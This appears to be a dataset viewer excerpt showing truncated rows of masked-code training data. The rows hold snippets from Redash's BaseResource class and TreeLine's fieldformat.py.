from peewee import DoesNotExist
from redash.authentication.org_resolving import current_org
from redash.tasks import record_event
class BaseResource(Resource):
decorators = [login_required]
def __init__(self, ... | normal | {
"blob_id": "71cdddfdd7c1327a8a77808dbdd0ff98d827231f",
"index": 945,
"step-1": "<mask token>\n\n\nclass BaseResource(Resource):\n <mask token>\n\n def __init__(self, *args, **kwargs):\n super(BaseResource, self).__init__(*args, **kwargs)\n self._user = None\n <mask token>\n\n @property... | [
5,
6,
7,
8,
11
] |
#!/usr/bin/env python
#****************************************************************************
# fieldformat.py, provides non-GUI base classes for field formating
#
# TreeLine, an information storage program
# Copyright (C) 2006, Douglas W. Bell
#
# This is free software; you can redistribute it and/or modify it ... | normal | {
"blob_id": "5e1398ed628917a42cc465e7cc2979601f0f4fbc",
"index": 7865,
"step-1": "<mask token>\n\n\nclass DateFormat(TextFormat):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, name, attrs={}):\n \"\"\... | [
100,
168,
171,
173,
175
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.